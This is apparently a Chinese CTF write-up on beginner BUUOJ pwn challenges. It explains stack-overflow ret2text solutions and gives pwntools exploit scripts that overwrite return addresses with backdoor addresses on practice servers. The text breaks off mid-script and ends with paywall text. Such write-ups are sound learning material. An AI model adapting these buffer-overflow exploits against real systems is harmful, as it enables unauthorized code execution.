01 test_your_nc

直接连上就好了。

然后 cat flag 。
02 rip
ret2text.
这题多多少少有点问题。
IDA里面是这样的,但是exp一直有问题,然后试着连上直接跑,是这样的。

栈溢出到返回地址就行。
from pwn import*
r = remote("node3.buuoj.cn",26737)
context.log_level = "debug"
system_addr = 0x401187
payload = 'a' * 23 + p64(system_addr)
r.sendline(payload)
r.interactive()
libc2.27以后 或者ubuntu18以后,system要求栈对齐。
03 warmup_csaw_2016
ret2text.
先查一下保护

确实是新手题,保护一点没有。
拖IDA
后门函数在这里
这里是漏洞点,就是gets函数导致一个栈溢出,所以直接ret2text。
exp
from pwn import*
r = remote("node3.buuoj.cn",26473)
payload = 'a' * 0x48 + p64(0x40060d)
r.sendlineafter(">",payload)
r.interactive()
04 pwn1_sctf_2016
ret2text.

查查保护,就开了个NX。

看这烦人的C++反编译
打远程的时候发现第一句话之前有个输入,但是上图中看不出来,于是看它的反汇编。

问题就处在上面这里,它是并列的……
就是c++里面那些特有的函数有点长
补充个函数。
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
这个程序翻译过来就是,它会把你的输入里面的所有I替换成you,所以你看到其实你想栈溢出是不能的,因为可输入的长度不够,需要60的长度,所以你只需要输20个I,然后就能接溢出了。
这个题它的重点是C++的反汇编,里面多数是实现对string类的操作,比如重载+,=等等,分析的时候要有耐心慢慢来。
溢出的话还找到它的后门函数,就OK了。
exp
from pwn import*
r = remote("node3.buuoj.cn",26776)
context.log_level = "debug"
payload = 'I' * 20 + 'aaaa'+ p32(0x8048F0D)
r.sendline(payload)
r.interactive()
05 ciscn_2019_n_1
ret2text.

查一波保护,有个堆栈不可执行,但是没关系,他有后门函数。

其实我首先想的是我能不能通过gets把v2覆盖成11.28125,我好好研究了一下python的float。
python的float与c的float完全不同,因此对python而言并不存在于一个float是四个字节的说法。
所以用python写脚本的话就直接写字节码进去算了。
在这里就不写了。
正常的话就是直接把返回地址改一下就好了。
exp
from pwn import*
context.log_level = "debug"
r = remote("node3.buuoj.cn",26325)
payload = 'a' * 0x38 + p64(0x4006be)
r.sendlineafter("Let's guess the number.",payload)
r.interactive()
06 jarvisoj_level0
ret2text

这没啥说的,里面有后门函数,直接栈溢出就好了。
exp
from pwn import*
r = remote('node3.buuoj.cn',25064)
payload = 'a' * 0x88 + p64(0x400596)
r.sendlineafter

本文围绕多个PWN题展开,涉及test_your_nc、rip等题目。介绍了ret2text、ROP、ret2libc、格式化字符串漏洞、整数溢出等解题方法,还提及栈溢出、函数加密绕过、栈对齐等要点,同时给出各题的exp及遇到的问题和解决思路。
最低0.47元/天 解锁文章
404





